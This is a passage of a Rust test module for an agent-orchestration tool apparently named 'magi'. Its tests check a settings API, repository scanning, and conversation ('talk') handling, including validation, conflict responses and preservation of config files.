13019 std::fs::write(path.join("magi.toml"), text).unwrap();
13020 for args in [
13021 vec!["init", "-b", "main"],
13022 vec!["add", "magi.toml"],
13023 vec![
13024 "-c",
13025 "user.name=Test",
13026 "-c",
13027 "user.email=test@example.invalid",
13028 "commit",
13029 "-m",
13030 "fixture",
13031 ],
13032 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13033 vec![
13034 "symbolic-ref",
13035 "refs/remotes/origin/HEAD",
13036 "refs/remotes/origin/main",
13037 ],
13038 ] {
13039 crate::git::git(path, &args).await.unwrap();
13040 }
13041 }
13042
13043 #[tokio::test]
13044 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13045 let (tmp, repo, machine) =
13046 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13047 let root = tmp.path().join("roots");
13048 let selected = root.join("host/owner/selected");
13049 settings_checkout(
13050 &selected,
13051 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13052 )
13053 .await;
13054 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13055 let before = std::fs::read(&machine).unwrap();
13056 let ui = Arc::new(
13057 Ui::new(
13058 Queue::at(tmp.path().join("queue")),
13059 Questions::at(tmp.path().join("questions")),
13060 Talks::at(tmp.path().join("talks")),
13061 tmp.path().join("runs"),
13062 tmp.path().to_path_buf(),
13063 repo.clone(),
13064 )
13065 .with_machine_config(Some(machine.clone())),
13066 );
13067 let query = || {
13068 Query(SettingsQuery {
13069 repo: Some(selected.clone()),
13070 })
13071 };
13072 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13073 assert!(v.error.is_none(), "{:?}", v.error);
13074 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13075 assert_eq!(conductor.source, "repo");
13076 assert_eq!(
13077 conductor.machine_value,
13078 Some(toml::Value::String("a".into()))
13079 );
13080 assert!(!conductor.editable);
13081 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13082 assert_eq!(
13083 judges.count.as_ref().unwrap().machine_value,
13084 Some(toml::Value::Integer(1))
13085 );
13086 assert!(
13087 !v.roles
13088 .iter()
13089 .find(|r| r.key == "reviewers")
13090 .unwrap()
13091 .editable
13092 );
13093 let unknown = || {
13094 Query(SettingsQuery {
13095 repo: Some(tmp.path().to_path_buf()),
13096 })
13097 };
13098 assert_eq!(
13099 settings_get(State(ui.clone()), unknown())
13100 .await
13101 .unwrap_err()
13102 .status,
13103 StatusCode::UNPROCESSABLE_ENTITY
13104 );
13105 let body = || {
13106 Ok(Json(RolesBody {
13107 revision: v.revision.clone(),
13108 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13109 counts: Default::default(),
13110 }))
13111 };
13112 assert_eq!(
13113 settings_put_roles(State(ui.clone()), unknown(), body())
13114 .await
13115 .unwrap_err()
13116 .status,
13117 StatusCode::UNPROCESSABLE_ENTITY
13118 );
13119 assert_eq!(std::fs::read(&machine).unwrap(), before);
13120 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13121 .await
13122 .unwrap();
13123 assert_eq!(
13124 saved.repo,
13125 selected.canonicalize().unwrap().display().to_string()
13126 );
13127 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13128 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13129 let fresh = root.join("host/owner/fresh");
13131 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13132 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13133 .await
13134 .unwrap();
13135 assert_eq!(fresh_view.repositories.len(), 3);
13136 }
13137
13138 #[tokio::test]
13139 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13140 let (tmp, repo, machine) = settings_dirs(
13141 "[roles]\nreviewers = [\"a\"]\n",
13142 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13143 );
13144 let root = tmp.path().join("roots");
13145 let selected = root.join("host/owner/selected");
13146 settings_checkout(
13147 &selected,
13148 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13149 )
13150 .await;
13151 let broken = root.join("host/owner/broken");
13152 settings_checkout(&broken, "[roles\nbroken").await;
13153 let machine_text = format!(
13154 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13155 toml::Value::String(root.display().to_string())
13156 );
13157 std::fs::write(&machine, &machine_text).unwrap();
13158 let originals: Vec<_> = [&repo, &selected, &broken]
13159 .iter()
13160 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13161 .collect();
13162 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13163 let default = f.get("/api/settings").await.json();
13164 assert_eq!(
13165 default["repo"],
13166 repo.canonicalize().unwrap().display().to_string()
13167 );
13168 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13169 let query = format!("?repo={}", selected.display());
13170 let res = f.get(&format!("/api/settings{query}")).await;
13171 assert_eq!(res.status, 200, "{}", res.body);
13172 let v = res.json();
13173 assert!(v["error"].is_null(), "{v}");
13174 assert_eq!(v["repositories"], default["repositories"]);
13175 let role = |key: &str| {
13176 v["roles"]
13177 .as_array()
13178 .unwrap()
13179 .iter()
13180 .find(|r| r["key"] == key)
13181 .unwrap()
13182 };
13183 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13184 assert_eq!(role("advisors")["source"], "repo");
13185 assert_eq!(role("advisors")["editable"], false);
13186 assert!(role("advisors")["machine_value"].is_null());
13187 assert_eq!(role("judges")["count"]["value"], 2);
13188 assert_eq!(role("judges")["count"]["machine_value"], 1);
13189 assert_eq!(role("judges")["count"]["source"], "repo");
13190 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13191 assert!(
13192 source.contains("origin/main") && !source.contains("magi/config/"),
13193 "{source}"
13194 );
13195 assert_eq!(
13196 role("reviewers")["editable"],
13197 false,
13198 "default context outside roots must protect its declarations"
13199 );
13200 let body =
13201 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13202 let unknown = format!("?repo={}", tmp.path().display());
13203 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13204 assert_eq!(
13205 f.put(&format!("/api/settings/roles{unknown}"), &body)
13206 .await
13207 .status,
13208 422
13209 );
13210 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13211 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13212 .to_string();
13213 assert_eq!(
13214 f.put(&format!("/api/settings/roles{query}"), &refuse)
13215 .await
13216 .status,
13217 422
13218 );
13219 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13220 assert_eq!(saved.status, 200, "{}", saved.body);
13221 assert_eq!(saved.json()["repo"], v["repo"]);
13222 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13223 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13224 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13225 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13226 }
13227 let error = f
13228 .get(&format!("/api/settings?repo={}", broken.display()))
13229 .await;
13230 assert_eq!(error.status, 200);
13231 assert!(error.json()["error"]["message"].is_string());
13232 assert_eq!(error.json()["repositories"], default["repositories"]);
13233 }
13234
13235 #[tokio::test]
13236 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13237 let (_tmp, repo, machine) =
13238 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13239 let f = Fixture::with_repo_and_machine(repo, machine).await;
13240 let res = f.get("/api/settings").await;
13241 assert_eq!(res.status, 200, "{}", res.body);
13242 let v = res.json();
13243 assert!(v["error"].is_null(), "{v}");
13244 let role = |k: &str| {
13245 v["roles"]
13246 .as_array()
13247 .and_then(|r| r.iter().find(|x| x["key"] == k))
13248 .cloned()
13249 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13250 };
13251 assert_eq!(role("judges")["source"], "machine");
13252 assert_eq!(role("judges")["editable"], true);
13253 assert_eq!(role("implementers")["source"], "default");
13254 let adv = role("advisors");
13255 assert_eq!(adv["fallback"], "judges");
13256 assert!(
13257 adv["seats"]
13258 .as_array()
13259 .is_some_and(|s| s.iter().all(|x| x == "b")),
13260 "{adv}"
13261 );
13262 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13263 assert_eq!(v["agents"][0]["source"], "repo");
13264 }
13265
13266 #[tokio::test]
13267 async fn settings_get_reports_a_config_that_does_not_parse() {
13268 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13269 let f = Fixture::with_repo_and_machine(repo, machine).await;
13270 let res = f.get("/api/settings").await;
13271 assert_eq!(res.status, 200, "{}", res.body);
13272 let v = res.json();
13273 assert!(v["error"]["message"].is_string(), "{v}");
13274 assert!(
13275 v["error"]["path"]
13276 .as_str()
13277 .is_some_and(|p| p.ends_with("magi.toml")),
13278 "{v}"
13279 );
13280 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13281 }
13282
13283 #[tokio::test]
13284 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13285 let (_tmp, repo, machine) = settings_dirs(
13286 SETTINGS_AGENTS,
13287 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13288 );
13289 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13290 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13291 let rev = f.get("/api/settings").await.json()["revision"]
13292 .as_str()
13293 .expect("revision")
13294 .to_owned();
13295 let body = serde_json::json!({
13296 "revision": rev,
13297 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13298 })
13299 .to_string();
13300 let res = f.put("/api/settings/roles", &body).await;
13301 assert_eq!(res.status, 200, "{}", res.body);
13302 let text = std::fs::read_to_string(&machine).expect("machine");
13303 assert_eq!(
13304 text,
13305 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13306 );
13307 assert_eq!(
13308 std::fs::read(repo.join("magi.toml")).expect("read"),
13309 repo_before
13310 );
13311 let again = f.get("/api/settings").await.json();
13312 let judges = again["roles"]
13313 .as_array()
13314 .expect("roles")
13315 .iter()
13316 .find(|r| r["key"] == "judges")
13317 .expect("judges")
13318 .clone();
13319 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13320 let stale = f.put("/api/settings/roles", &body).await;
13322 assert_eq!(stale.status, 409, "{}", stale.body);
13323 }
13324
13325 #[tokio::test]
13326 async fn settings_counts_are_reported_and_saved() {
13327 let (_tmp, repo, machine) = settings_dirs(
13328 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13329 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13330 );
13331 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13332 let v = f.get("/api/settings").await.json();
13333 let count = |v: &serde_json::Value, k: &str| {
13334 v["roles"]
13335 .as_array()
13336 .and_then(|r| r.iter().find(|x| x["key"] == k))
13337 .map(|x| x["count"].clone())
13338 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13339 };
13340 let imp = count(&v, "implementers");
13341 assert_eq!(imp["value"], 2);
13342 assert_eq!(imp["source"], "machine");
13343 assert_eq!(imp["file_key"], "candidates");
13344 assert_eq!(imp["roster_len"], 2);
13345 assert_eq!(imp["backups"], 0);
13346 assert_eq!(count(&v, "judges")["source"], "default");
13347 assert_eq!(count(&v, "advisors")["min"], 0);
13348 assert_eq!(count(&v, "reviewers")["editable"], false);
13349 assert!(
13350 count(&v, "reviewers")["locked_reason"]
13351 .as_str()
13352 .is_some_and(|m| m.contains("graph.reviewers"))
13353 );
13354 assert!(count(&v, "fixer").is_null());
13355 let rev = v["revision"].as_str().expect("revision").to_owned();
13356 let body = serde_json::json!({
13357 "revision": rev,
13358 "roles": { "judges": ["b"] },
13359 "counts": { "implementers": 1, "advisors": 0 }
13360 })
13361 .to_string();
13362 let res = f.put("/api/settings/roles", &body).await;
13363 assert_eq!(res.status, 200, "{}", res.body);
13364 let text = std::fs::read_to_string(&machine).expect("machine");
13365 assert_eq!(
13366 text,
13367 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13368 );
13369 let after = f.get("/api/settings").await.json();
13370 assert_eq!(count(&after, "implementers")["value"], 1);
13371 assert_eq!(count(&after, "implementers")["backups"], 1);
13372 assert_eq!(count(&after, "advisors")["value"], 0);
13373 let before = std::fs::read_to_string(&machine).expect("machine");
13374 let rev = after["revision"].as_str().expect("revision").to_owned();
13375 for counts in [
13376 serde_json::json!({ "judges": 0 }),
13377 serde_json::json!({ "judges": "x" }),
13378 serde_json::json!({ "judges": 2.5 }),
13379 serde_json::json!({ "judges": -1 }),
13380 serde_json::json!({ "reviewers": 3 }),
13381 serde_json::json!({ "bogus": 3 }),
13382 ] {
13383 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13384 let res = f.put("/api/settings/roles", &body).await;
13385 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13386 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13387 }
13388 }
13389
13390 #[tokio::test]
13391 async fn settings_put_refuses_without_touching_the_file() {
13392 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13393 let (_tmp, repo, machine) = settings_dirs(
13394 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13395 Some(machine_text),
13396 );
13397 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13398 let rev = f.get("/api/settings").await.json()["revision"]
13399 .as_str()
13400 .expect("revision")
13401 .to_owned();
13402 for roles in [
13403 serde_json::json!({ "judges": ["nope"] }),
13404 serde_json::json!({ "reviewers": ["b"] }),
13405 serde_json::json!({ "bogus": ["a"] }),
13406 ] {
13407 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13408 let res = f.put("/api/settings/roles", &body).await;
13409 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13410 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13411 assert_eq!(
13412 std::fs::read_to_string(&machine).expect("machine"),
13413 machine_text
13414 );
13415 }
13416 }
13417
13418 #[tokio::test]
13419 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13420 let tmp = TempDir::new().expect("tempdir");
13421 let repo = tmp.path().join("repo");
13422 std::fs::create_dir_all(&repo).expect("repo dir");
13423 let root = tmp.path().join("root");
13424 make_checkout(&root, "github.com", "yukimemi", "magi");
13425 std::fs::write(
13426 repo.join("magi.toml"),
13427 format!(
13428 "[repos]\nroots = [{:?}]\n",
13429 root.to_string_lossy().into_owned()
13430 ),
13431 )
13432 .expect("write magi.toml");
13433
13434 let f = Fixture::with_repo(repo).await;
13435 let res = f.get("/api/repos").await;
13436 assert_eq!(res.status, 200, "{}", res.body);
13437 let list = res.json();
13438 let repos = list.as_array().expect("an array");
13439 assert_eq!(repos.len(), 1);
13440 assert_eq!(repos[0]["name"], "yukimemi/magi");
13441 assert!(
13442 repos[0]["path"]
13443 .as_str()
13444 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13445 "{list}"
13446 );
13447 }
13448
13449 #[tokio::test]
13450 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13451 let tmp = TempDir::new().expect("tempdir");
13452 let repo = tmp.path().join("repo");
13453 std::fs::create_dir_all(&repo).expect("repo dir");
13454 let root = tmp.path().join("root");
13455 make_checkout(&root, "github.com", "yukimemi", "magi");
13456 std::fs::write(
13457 repo.join("magi.toml"),
13458 format!(
13459 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13460 root.to_string_lossy().into_owned()
13461 ),
13462 )
13463 .expect("write magi.toml");
13464
13465 let f = Fixture::with_repo(repo).await;
13466 let first = f.get("/api/repos").await;
13467 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13468
13469 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13472 let second = f.get("/api/repos").await;
13473 assert_eq!(
13474 second.json().as_array().map(Vec::len),
13475 Some(1),
13476 "a fresh cache must not rescan inside the TTL"
13477 );
13478
13479 let refreshed = f.get("/api/repos?refresh=1").await;
13480 assert_eq!(
13481 refreshed.json().as_array().map(Vec::len),
13482 Some(2),
13483 "an explicit refresh must rescan even inside the TTL"
13484 );
13485 }
13486
13487 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13493
13494 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13498 let tmp = TempDir::new().expect("tempdir");
13499 let repo = tmp.path().join("repo");
13500 std::fs::create_dir_all(&repo).expect("repo dir");
13501 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13502 let f = Fixture::with_repo(repo.clone()).await;
13503 (tmp, repo, f)
13504 }
13505
13506 #[tokio::test]
13507 async fn posting_a_talk_with_remembered_choices_is_soft() {
13508 let (_tmp, _repo, f) = talk_fixture().await;
13509
13510 let good = f
13511 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13512 .await;
13513 assert_eq!(good.status, 201, "{}", good.body);
13514 assert_eq!(good.json()["persona"], "rei");
13515
13516 let stale = f
13518 .post(
13519 "/api/talks",
13520 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13521 )
13522 .await;
13523 assert_eq!(stale.status, 201, "{}", stale.body);
13524 let v = stale.json();
13525 assert_eq!(v["implementers"], 1);
13526 assert_ne!(v["persona"], "nobody");
13527 let typed = f
13528 .post(
13529 "/api/talks",
13530 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13531 )
13532 .await;
13533 assert_eq!(typed.status, 201, "{}", typed.body);
13534
13535 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13537 assert!(
13538 !strict.status.to_string().starts_with('2'),
13539 "{}",
13540 strict.body
13541 );
13542 }
13543
13544 #[tokio::test]
13545 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13546 let (_tmp, _repo, f) = talk_fixture().await;
13547
13548 let opened = f.post("/api/talks", None).await;
13551 assert_eq!(opened.status, 201, "{}", opened.body);
13552 let body = opened.json();
13553 assert_eq!(body["status"], "open");
13554 assert_eq!(
13555 body["turns"].as_array().unwrap().len(),
13556 0,
13557 "opening takes no agent turn: there is nothing yet to answer"
13558 );
13559
13560 let also_opened = f.post("/api/talks", Some("{}")).await;
13562 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13563
13564 let listed = f.get("/api/talks").await.json();
13565 assert_eq!(listed.as_array().unwrap().len(), 2);
13566 }
13567
13568 #[tokio::test]
13569 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13570 let tmp = TempDir::new().expect("tempdir");
13571 let repo = tmp.path().join("repo");
13572 std::fs::create_dir_all(&repo).expect("repo dir");
13573 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13574 std::fs::write(
13575 repo.join("magi.toml"),
13576 format!("{MOCK_AGENT_TOML}\n{second}"),
13577 )
13578 .expect("write magi.toml");
13579 let home = TempDir::new().expect("temp home");
13580 let talks = Talks::at(home.path().join("talks"));
13581 let ui = Arc::new(
13582 Ui::new(
13583 Queue::at(home.path().join("queue")),
13584 Questions::at(home.path().join("questions")),
13585 talks.clone(),
13586 home.path().join("runs"),
13587 home.path().to_path_buf(),
13588 repo.clone(),
13589 )
13590 .with_worktrees_root(home.path().join("wt")),
13591 );
13592 let cfg = config_for(&repo).await.expect("discover config");
13593 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13594 let id = talk.id.clone();
13595 let call = |agent: &str| {
13596 talk_agent(
13597 State(Arc::clone(&ui)),
13598 Path(id.clone()),
13599 Json(TalkAgent {
13600 agent: agent.to_owned(),
13601 }),
13602 )
13603 };
13604
13605 let unknown = call("nobody").await.expect_err("unknown agent");
13606 assert_eq!(
13607 unknown.status,
13608 StatusCode::BAD_REQUEST,
13609 "{}",
13610 unknown.message
13611 );
13612
13613 {
13614 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13617 let busy = call("second").await.expect_err("busy talk");
13618 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13619 assert!(
13620 busy.message.contains("a talk turn is running"),
13621 "{}",
13622 busy.message
13623 );
13624 drop(guard);
13625 }
13626 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13627
13628 let Json(view) = call("second").await.expect("switch");
13629 assert_eq!(view.talk.agent, "second");
13630 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13631 let saved = talks.get(&id).expect("reload");
13632 assert_eq!(saved.agent, "second");
13633 assert_eq!(saved.turns.len(), 1);
13634 assert!(!view.thinking);
13635 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13636 for agent in ["mock", "second"] {
13637 let Json(view) = call(agent).await.expect("immediate consecutive change");
13638 assert_eq!(view.talk.agent, agent);
13639 assert!(!view.thinking);
13640 assert!(!ui.is_thinking(&id));
13641 }
13642
13643 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13644 .await
13645 .expect("detail");
13646 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13647 assert_eq!(roster, ["mock", "second"]);
13648
13649 let mut closed = talks.get(&id).expect("reload");
13650 talk::close(&mut closed, &talks).expect("close");
13651 let refused = call("mock").await.expect_err("closed talk");
13652 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13653 assert!(
13654 refused.message.contains("takes no more turns"),
13655 "{}",
13656 refused.message
13657 );
13658 }
13659
13660 #[tokio::test]
13661 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13662 let tmp = TempDir::new().expect("tempdir");
13663 let repo = tmp.path().join("repo");
13664 std::fs::create_dir_all(&repo).expect("repo dir");
13665 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13666 let home = TempDir::new().expect("temp home");
13667 let talks = Talks::at(home.path().join("talks"));
13668 let ui = Arc::new(
13669 Ui::new(
13670 Queue::at(home.path().join("queue")),
13671 Questions::at(home.path().join("questions")),
13672 talks.clone(),
13673 home.path().join("runs"),
13674 home.path().to_path_buf(),
13675 repo.clone(),
13676 )
13677 .with_worktrees_root(home.path().join("wt")),
13678 );
13679 let cfg = config_for(&repo).await.expect("discover config");
13680 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13681 let id = talk.id.clone();
13682 let call = |n: u8| {
13683 talk_implementers(
13684 State(Arc::clone(&ui)),
13685 Path(id.clone()),
13686 Json(TalkImplementers { implementers: n }),
13687 )
13688 };
13689
13690 for bad in [0u8, 4] {
13691 let e = call(bad).await.expect_err("out of range");
13692 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13693 }
13694 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13695
13696 {
13697 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13700 let busy = call(2).await.expect_err("busy talk");
13701 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13702 assert!(
13703 busy.message.contains("a talk turn is running"),
13704 "{}",
13705 busy.message
13706 );
13707 drop(guard);
13708 }
13709
13710 let Json(view) = call(3).await.expect("switch");
13711 assert_eq!(view.talk.implementers, 3);
13712 assert!(talks.get(&id).expect("reload").implementers_dirty);
13713 assert!(!view.thinking);
13714 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13715 for n in [1, 2, 3] {
13716 let Json(view) = call(n).await.expect("immediate consecutive change");
13717 assert_eq!(view.talk.implementers, n);
13718 assert!(!view.thinking);
13719 assert!(!ui.is_thinking(&id));
13720 }
13721
13722 let mut closed = talks.get(&id).expect("reload");
13723 talk::close(&mut closed, &talks).expect("close");
13724 let e = call(2).await.expect_err("closed talk");
13725 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13726 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13727 }
13728
13729 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13731 let tmp = TempDir::new().expect("tempdir");
13732 let repo = tmp.path().join("repo");
13733 std::fs::create_dir_all(&repo).expect("repo dir");
13734 std::fs::write(
13735 repo.join("magi.toml"),
13736 format!("{MOCK_AGENT_TOML}\n{extra}"),
13737 )
13738 .expect("write magi.toml");
13739 let home = TempDir::new().expect("temp home");
13740 let talks = Talks::at(home.path().join("talks"));
13741 let ui = Arc::new(
13742 Ui::new(
13743 Queue::at(home.path().join("queue")),
13744 Questions::at(home.path().join("questions")),
13745 talks.clone(),
13746 home.path().join("runs"),
13747 home.path().to_path_buf(),
13748 repo.clone(),
13749 )
13750 .with_worktrees_root(home.path().join("wt")),
13751 );
13752 let cfg = config_for(&repo).await.expect("discover config");
13753 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13754 (tmp, home, ui, talk.id, repo)
13755 }
13756
13757 #[tokio::test]
13758 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13759 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13760 let mut conversation = ui.talks.get(&id).unwrap();
13761 talk::record(
13762 &mut conversation,
13763 &ui.talks,
13764 "# Update on a task you filed\noperator words",
13765 vec![],
13766 )
13767 .unwrap();
13768 conversation.turns[0].sender = None;
13770 conversation.turns[0].messages.clear();
13771 ui.talks.put(&mut conversation).unwrap();
13772 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13773 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13774 talk::drain(&mut conversation, &ui.talks).unwrap();
13775 talk::record_reply(
13776 &mut conversation,
13777 &ui.talks,
13778 "about that report",
13779 vec![],
13780 Some(talk::ReplyTarget {
13781 turn: 1,
13782 message: 1,
13783 }),
13784 )
13785 .unwrap();
13786 conversation.turns[2].messages[0]
13787 .reply
13788 .as_mut()
13789 .unwrap()
13790 .sender = None;
13791 conversation.turns.push(talk::Turn {
13792 sender: Some(talk::Sender::Persona),
13793 who: talk::Who::Agent,
13794 body: "magi: actual persona words".into(),
13795 at: Timestamp::now(),
13796 attachments: vec![],
13797 usage: None,
13798 breaks: None,
13799 messages: vec![],
13800 posted_by: None,
13801 });
13802 ui.talks.put(&mut conversation).unwrap();
13803 let view = TalkView::with_config(
13804 ui.talks.get(&id).unwrap(),
13805 false,
13806 None,
13807 &ui.home,
13808 &ui.references,
13809 );
13810 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13811 assert_eq!(
13812 view.talk.turns[1].messages[0].sender,
13813 Some(talk::Sender::Operator)
13814 );
13815 assert_eq!(
13816 view.talk.turns[1].messages[1].sender,
13817 Some(talk::Sender::Magi)
13818 );
13819 assert_eq!(
13820 view.talk.turns[2].messages[0]
13821 .reply
13822 .as_ref()
13823 .unwrap()
13824 .sender,
13825 Some(talk::Sender::Magi)
13826 );
13827 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13828 assert_eq!(view.turn_messages_md[0].len(), 1);
13829 assert!(view.turn_messages_md[0][0].is_none());
13830 assert!(view.turn_messages_md[1][0].is_none());
13831 assert!(view.turn_messages_md[1][1].is_some());
13832 }
13833
13834 #[tokio::test]
13835 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13836 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13837 let mut conversation = ui.talks.get(&id).unwrap();
13838 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13839 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13840 talk::queue_notice(
13841 &mut conversation,
13842 &ui.talks,
13843 &body,
13844 "watch:123",
13845 &|_| false,
13846 None,
13847 display.clone(),
13848 )
13849 .unwrap();
13850 assert!(
13851 !talk::queue_notice(
13852 &mut conversation,
13853 &ui.talks,
13854 &body,
13855 "watch:123",
13856 &|_| false,
13857 None,
13858 display.clone()
13859 )
13860 .unwrap()
13861 );
13862 let saved = ui.talks.get(&id).unwrap();
13863 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13864 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13865 assert!(
13866 view.talk.turns[0].messages[0].display.is_none(),
13867 "operator copy stays literal"
13868 );
13869 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13870 assert!(view.turn_messages_md[0][0].is_none());
13871 let queued_md = view.pending_messages_md[0].clone();
13872 assert_eq!(
13873 queued_md,
13874 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13875 );
13876 talk::drain(&mut conversation, &ui.talks).unwrap();
13877 talk::record_reply(
13878 &mut conversation,
13879 &ui.talks,
13880 "Explain",
13881 vec![],
13882 Some(talk::ReplyTarget {
13883 turn: 1,
13884 message: 0,
13885 }),
13886 )
13887 .unwrap();
13888 let mut saved = ui.talks.get(&id).unwrap();
13889 assert_eq!(saved.turns[1].messages[0].body, body);
13890 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13891 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13892 assert!(!reply.excerpt.contains("automatic report"));
13893 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13896 let view = TalkView::with_config(
